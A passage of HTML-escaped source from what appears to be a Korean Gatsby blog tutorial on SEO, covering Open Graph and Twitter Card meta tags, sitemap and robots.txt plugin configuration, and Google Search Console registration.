    &lt;span class=&quot;token literal-property property&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;자바파커&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 포스팅의 frontmatter에 작성한 &lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt;과 &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;이 메타태그로 자동 연결되도록 템플릿을 구성하는 것이 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Open Graph와 Twitter Card 설정&lt;/h2&gt;
&lt;p&gt;Open Graph(OG)는 페이스북, 카카오톡 등에서 링크 공유 시 미리보기를 결정하는 프로토콜입니다. Twitter Card는 트위터(현 X)에서의 미리보기입니다.&lt;/p&gt;
&lt;h3&gt;Open Graph 필수 태그&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:title&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;GitHub 블로그 SEO 최적화&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;검색 노출을 높이는 실전 가이드&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;https://blog.javapark.kr/og-image.png&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:url&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;https://blog.javapark.kr/github-blog/04-seo-optimization/&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:type&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;article&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:site_name&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;AI JAVAPARK&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Twitter Card 태그&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:card&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;summary_large_image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:title&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;GitHub 블로그 SEO 최적화&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;검색 노출을 높이는 실전 가이드&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;https://blog.javapark.kr/og-image.png&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;OG 이미지 권장 사양&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;권장값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;크기&lt;/td&gt;
&lt;td&gt;1200 x 630px&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;포맷&lt;/td&gt;
&lt;td&gt;PNG 또는 JPG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파일 크기&lt;/td&gt;
&lt;td&gt;1MB 이하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;위치&lt;/td&gt;
&lt;td&gt;static 폴더에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OG 이미지가 잘 적용됐는지 확인하려면 &lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot;&gt;Facebook Sharing Debugger&lt;/a&gt;나 &lt;a href=&quot;https://cards-dev.twitter.com/validator&quot;&gt;Twitter Card Validator&lt;/a&gt;를 활용하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;sitemap.xml 생성하기&lt;/h2&gt;
&lt;p&gt;사이트맵은 검색 엔진에게 &quot;내 블로그에는 이런 페이지들이 있습니다&quot;라고 알려주는 XML 파일입니다. 일종의 블로그 목차라고 생각하면 됩니다.&lt;/p&gt;
&lt;h3&gt;gatsby-plugin-sitemap 설치 및 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gatsby-plugin-sitemap&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-config.js&lt;/span&gt;
module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;siteMetadata&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;siteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://blog.javapark.kr&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;gatsby-plugin-sitemap&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
          {
            allSitePage {
              nodes {
                path
              }
            }
          }
        &lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token function-variable function&quot;&gt;resolveSiteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://blog.javapark.kr&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token function-variable function&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; path &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;changefreq&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;weekly&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;priority&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;빌드 후 &lt;code class=&quot;language-text&quot;&gt;public/sitemap-index.xml&lt;/code&gt;에 사이트맵이 생성됩니다. &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/sitemap-index.xml&lt;/code&gt;로 접근해서 확인할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;robots.txt 설정하기&lt;/h2&gt;
&lt;p&gt;robots.txt는 검색 엔진 크롤러에게 &quot;이 페이지는 크롤링해도 됩니다 / 하지 마세요&quot;를 알려주는 파일입니다.&lt;/p&gt;
&lt;h3&gt;gatsby-plugin-robots-txt 설치 및 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gatsby-plugin-robots-txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-config.js&lt;/span&gt;
module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;gatsby-plugin-robots-txt&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://blog.javapark.kr&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;sitemap&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://blog.javapark.kr/sitemap-index.xml&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;policy&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;빌드 후 생성되는 &lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt; 내용은 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;User-agent: *
Allow: /

Sitemap: https://blog.javapark.kr/sitemap-index.xml
Host: https://blog.javapark.kr&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;Google Search Console 등록&lt;/h2&gt;
&lt;p&gt;사이트맵과 robots.txt를 만들었으면, 이제 구글에 &quot;내 블로그가 여기 있습니다&quot;라고 직접 알려줘야 합니다.&lt;/p&gt;
&lt;h3&gt;등록 절차&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://search.google.com/search-console&quot;&gt;Google Search Console&lt;/a&gt;에 접속합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;속성 추가&lt;/strong&gt; 버튼을 클릭합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL 접두어&lt;/strong&gt; 방식으로 &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr&lt;/code&gt;을 입력합니다&lt;/li&gt;
&lt;li&gt;소유권 확인 방법 중 &lt;strong&gt;HTML 태그&lt;/strong&gt; 방식을 선택합니다&lt;/li&gt;
&lt;li&gt;제공되는 메타태그를 SEO 컴포넌트에 추가합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// SEO 컴포넌트에 추가&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt;
